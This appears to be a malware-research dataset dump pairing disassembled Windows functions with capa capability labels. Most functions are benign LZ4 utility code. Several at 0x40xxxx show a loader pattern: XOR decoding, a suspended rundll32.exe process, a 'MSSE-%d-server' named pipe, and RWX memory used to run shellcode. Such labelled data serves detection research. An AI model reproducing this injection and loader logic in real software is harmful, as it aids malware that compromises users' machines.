joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001da80
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
add rcx, 0x28
call fcn.140009ad0
mov rsi, rax
cmp rax, 0xffffffffffffffea
jbe 0x14001db3d
cmp dword [0x140028678], 1
jl 0x14001db31
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x3c
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001db31
movsxd rdx, esi
lea rax, str.OK_NoError
shl rdx, 3
mov ecx, 2
sub rax, rdx
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.Cant_create_LZ4F_context_:__s
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001db31
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x10000
mov qword [rbx + 8], 0x10000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, 0x10000
mov qword [rbx + 0x18], 0x10000
mov qword [rbx], rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
cmp qword [rbx], 0
mov qword [rbx + 0x10], rax
je 0x14001dc32
test rax, rax
je 0x14001dc32
xor esi, esi
cmp dword [rdi + 0x2c], esi
jne 0x14001dba3
mov qword [rbx + 0x30], rsi
mov qword [rbx + 0x38], rsi
mov qword [rbx + 0x20], rsi
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rdx, qword [rdi + 0x38]
lea rcx, [rbx + 0x38]
call fcn.14001ba00
mov qword [rbx + 0x30], rax
test rax, rax
jne 0x14001db8c
cmp dword [0x140028678], 1
jl 0x14001dc26
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x19
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001dc26
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Dictionary_error_:_could_not_create_dictionary
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001dc26
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp dword [0x140028678], 1
jl 0x14001dca1
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x3d
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001dca1
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Allocation_error_:_not_enough_memory
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001dca1
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14001dcb0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x28]
call fcn.140009b50
mov rdi, rax
cmp rax, 0xffffffffffffffea
jbe 0x14001dd65
cmp dword [0x140028678], 1
jl 0x14001dd59
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x45
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001dd59
movsxd rdx, edi
lea rax, str.OK_NoError
shl rdx, 3
mov ecx, 2
sub rax, rdx
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.Error_:_cant_free_LZ4F_context_resource_:__s
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001dd59
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x45
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbx + 0x30]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
Function at 0x14001e270
Capabilities:
Read file on windows
Terminate process
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
mov eax, 0x10050
call fcn.140021260
sub rsp, rax
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0x10030], rax
mov rax, r8
mov edi, 4
mov r15d, r9d
mov rbp, rdx
mov r14, rcx
mov r9, rdx
mov r8d, edi
mov rcx, rax
lea edx, [rdi - 3]
xor esi, esi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, rdi
je 0x14001e334
cmp dword [0x140028678], 1
jl 0x14001e328
lea ecx, [rdi - 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8d, [rdi + 0x2e]
lea rdx, str.Error__i_:
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001e328
lea ecx, [rdi - 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Pass_through_write_error
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001e328
lea ecx, [rdi - 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x10048], rbx
nop dword [rax]
mov r9, r14
lea rcx, [rsp + 0x30]
mov edx, 1
mov r8d, 0x10000
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r9d, r15d
mov dword [rsp + 0x20], esi
mov r8, rax
lea rdx, [rsp + 0x30]
mov rcx, rbp
mov rbx, rax
add rdi, rax
call fcn.14001d050
mov esi, eax
test rbx, rbx
jne 0x14001e340
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
mov rbx, qword [rsp + 0x10048]
test eax, eax
je 0x14001e40d
cmp dword [0x140028678], 1
jl 0x14001e401
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x33
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001e401
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Read_Error
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001e401
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x33
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, esi
mov rcx, rbp
call fcn.14001d530
mov rax, rdi
mov rcx, qword [rsp + 0x10030]
xor rcx, rsp
call fcn.140020560
add rsp, 0x10050
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001e440
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x4030
call fcn.140021260
sub rsp, rax
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0x4020], rax
mov ebx, edx
mov rsi, rcx
test edx, edx
je 0x14001e4a1
mov edi, ebx
cmp ebx, 0x4000
jb 0x14001e482
mov edi, 0x4000
mov r9, rsi
lea rcx, [rsp + 0x20]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rdi
jne 0x14001e4e6
sub ebx, edi
jne 0x14001e473
test ebx, ebx
je 0x14001e4bf
mov r8d, 0x49f
lea rdx, str.c:_b_abs_fcz738m_9xcrootlz4_c_1670944697368workprogramslz4io.c
lea rcx, str.offset__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
xor eax, eax
mov rcx, qword [rsp + 0x4020]
xor rcx, rsp
call fcn.140020560
lea r11, [rsp + 0x4030]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov eax, 1
jmp 0x14001e4c1
Function at 0x14001ea10
Capabilities:
Delete file
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x60
mov r14, qword [rcx + 0x20]
mov rbx, rcx
xor esi, esi
mov rcx, rdx
mov edi, esi
mov r15, r9
mov r12, rdx
call fcn.14001aeb0
mov rbp, rax
test rax, rax
jne 0x14001ea57
lea eax, [rsi + 1]
jmp 0x14001ec0a
test r14, r14
jne 0x14001ea76
mov r8d, 0x505
lea rdx, str.c:_b_abs_fcz738m_9xcrootlz4_c_1670944697368workprogramslz4io.c
lea rcx, str.foutput___NULL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx]
mov r9, r15
mov r8, r14
movups xmm1, xmmword [rbx + 0x10]
lea rcx, [rsp + 0x20]
mov rdx, rbp
movaps xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [rbx + 0x20]
movaps xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
call fcn.14001e570
cmp rax, 0xffffffffffffffff
je 0x14001eafe
cmp rax, 0xfffffffffffffffe
je 0x14001eaf9
movups xmm0, xmmword [rbx]
mov r9, r15
mov r8, r14
movups xmm1, xmmword [rbx + 0x10]
lea rcx, [rsp + 0x20]
mov rdx, rbp
movaps xmmword [rsp + 0x20], xmm0
add rsi, rax
movups xmm0, xmmword [rbx + 0x20]
movaps xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
call fcn.14001e570
cmp rax, 0xffffffffffffffff
jne 0x14001eab2
jmp 0x14001eafe
mov edi, 1
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
cmp dword [r15 + 0x40], 0
je 0x14001ebb5
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x14001ebb5
cmp dword [0x140028678], 1
jl 0x14001eba9
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x2d
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001eba9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ecx, dword [rax]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_strerror]
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rbx
lea rdx, str.Remove_error_:__s:__s
mov rcx, rax
mov r8, r12
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001eba9
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x2d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp dword [0x140028678], 2
jl 0x14001ec08
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [0x140022b76]
lea rdx, str._r_79s_r
call fcn.140015200
cmp dword [0x140028678], 2
jl 0x14001ec08
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rsi
lea rdx, str.__20.20s_:_decoded__llu_bytes__n
mov rcx, rax
mov r8, r12
call fcn.140015200
mov eax, edi
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x40174a
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8f8
test r8, r8
mov r12, rcx
mov ebx, edx
mov r13, r8
je 0x40164a
cmp byte [r8], 0
jne 0x401655
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x40170d
lea rsi, [rsp + 0x870]
xor eax, eax
mov ecx, 0x1a
lea rbp, [rsp + 0x8d8]
mov r8d, 0x400
lea rdx, [rsp + 0x70]
mov rdi, rsi
rep stosd dword [rdi], eax
mov rdi, rbp
mov dword [rsp + 0x870], 0x68
mov cl, 6
rep stosd dword [rdi], eax
lea rcx, str.windir
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r9, [rsp + 0x70]
lea r8, str._sSystem32_s
mov edx, 0x400
lea rcx, [rsp + 0x470]
mov qword [rsp + 0x20], r13
call qword [sym.imp.msvcrt.dll__snprintf]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rsi
lea rdx, [rsp + 0x470]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40173a
mov rax, qword [rsp + 0x8d8]
test rax, rax
je 0x40173a
lea rdi, [rsp + 0x50]
lea rsi, [rsp + 0x8d8]
mov ecx, 6
rep movsd dword [rdi], dword [rsi]
lea rdx, [rsp + 0x50]
movsxd r9, ebx
mov r8, r12
mov rcx, rax
call fcn.00401588
nop
add rsp, 0x8f8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rcx
jmp 0x401763
and ecx, 3
mov cl, byte [r8 + rcx]
xor byte [rbx + rax], cl
inc rax
cmp eax, edx
mov ecx, eax
jl 0x401756
mov rcx, rbx
mov dword [rsp + 0x28], edx
call fcn.004014f0
mov edx, dword [rsp + 0x28]
lea r8, str.rundll32.exe
mov rcx, rbx
add rsp, 0x30
pop rbx
jmp 0x401628

Function at 0x401790
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov edx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x004089b0]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x40183c
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x40182e
jmp 0x40183c
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call rbp
test eax, eax
je 0x401832
mov eax, dword [rsp + 0x4c]
mov edx, eax
sub esi, eax
add rdi, rdx
test esi, esi
jg 0x401806
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x401862
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea rcx, [0x004089b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
mov rbp, qword [sym.imp.KERNEL32.dll_ReadFile]
cmp rsi, 0xffffffffffffffff
jne 0x4018e7
jmp 0x4018f9
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call rbp
test eax, eax
je 0x4018eb
mov eax, dword [rsp + 0x4c]
mov edx, eax
sub ebx, eax
add rdi, rdx
test ebx, ebx
jg 0x4018bf
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x401955
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
lea rcx, [0x004089b0]
mov r8d, 0x5c
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
lea r8, [0x00401845]
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp fcn.00401902
Function at 0x4022e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
test r8, r8
mov rbx, rcx
mov rdi, rdx
mov rsi, r8
jne 0x402310
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov ecx, dword [0x00408360]
test ecx, ecx
jle 0x4024e7
mov rax, qword [0x00408358]
xor ebp, ebp
nop word [rax + rax]
mov rdx, qword [rax + 8]
cmp rbx, rdx
jb 0x40234d
mov r8, qword [rax + 0x10]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402460
add ebp, 1
add rax, 0x18
cmp ebp, ecx
jne 0x402330
mov rcx, rbx
call fcn.00402960
test rax, rax
mov r12, rax
je 0x4024ee
movsxd rbp, ebp
lea r13, [rbp + rbp*2]
shl r13, 3
mov rbp, r13
add rbp, qword [0x00408358]
mov qword [rbp + 0x10], rax
mov dword [rbp], 0
call fcn.00402a50
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x50]
mov qword [rbp + 8], rax
mov rax, qword [0x00408358]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r13 + 8]
call rbp
test rax, rax
je 0x4024fd
mov eax, dword [rsp + 0x74]
cmp eax, 4
jne 0x402420
add dword [0x00408360], 1
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rbx
call rbp
test rax, rax
je 0x40251a
mov eax, dword [rsp + 0x44]
cmp eax, 4
jne 0x402470
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
cmp eax, 0x40
je 0x4023d0
mov r9, qword [0x00408358]
mov r8d, 0x40
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add r9, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4023d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00402270
nop dword [rax]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x4023d7
cmp eax, 0x40
je 0x4023f9
lea r9, [rsp + 0x8c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbp
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x44]
cmp eax, 0x40
je 0x4022fd
cmp eax, 4
je 0x4022fd
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x38]
lea r9, [rsp + 0x8c]
mov rcx, qword [rsp + 0x20]
call rbp
nop
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor ebp, ebp
jmp 0x402358
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00402270
mov rax, qword [0x00408358]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r13 + 8]
call fcn.00402270
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rbx
mov edx, 0x30
call fcn.00402270
nop
nop

Function at 0x402840
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
je 0x402850
repz ret
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x402849
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402ed0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408940]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00408968]
test rbx, rbx
je 0x402f24
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rdi
mov rbp, rax
call rsi
test eax, eax
jne 0x402f1b
test rbp, rbp
je 0x402f1b
mov rax, qword [rbx + 8]
mov rcx, rbp
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402f00
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x00408940]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x1400161fc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14001622a
xor eax, eax
jmp 0x140016310
cmp qword [rcx + 0x68], 0
je 0x14001623b
call fcn.14000af50
jmp 0x140016310
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140016252
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140016254
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140016286
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140018c10
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14001630a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400162bd
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400162e6
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1400224d8
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14001630a
cmp rsi, rbx
ja 0x1400162c4
test rsi, rsi
je 0x14001630a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400224d8
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140017370
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400173ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400173ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400173ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400173ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400173ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400173bc
xor al, al
add rsp, 0x28
ret

Function at 0x140026c58
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140026a48
Function at 0x14002e430
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14002e462
call fcn.14002316c
mov dword [rax], 0x16
call fcn.14001e1dc
jmp 0x14002e581
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14002e581
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14002e581
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14002e491
lock or dword [rcx + 0x14], 0x10
jmp 0x14002e581
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14002e4a5
call fcn.14002fa94
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.14002bf30
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14002f210
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14002e56f
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14002e53a
mov rcx, rsi
call fcn.14002bf30
cmp eax, edi
je 0x14002e525
mov rcx, rsi
call fcn.14002bf30
cmp eax, 0xfffffffe
je 0x14002e525
mov rcx, rsi
call fcn.14002bf30
movsxd rbx, eax
lea r14, [0x140065ef0]
mov rcx, rsi
sar rbx, 6
call fcn.14002bf30
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14002e52c
lea rdx, [0x1400603e0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14002e53a
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14002e55e
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14002e55e
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14002e55e
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14002e584
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret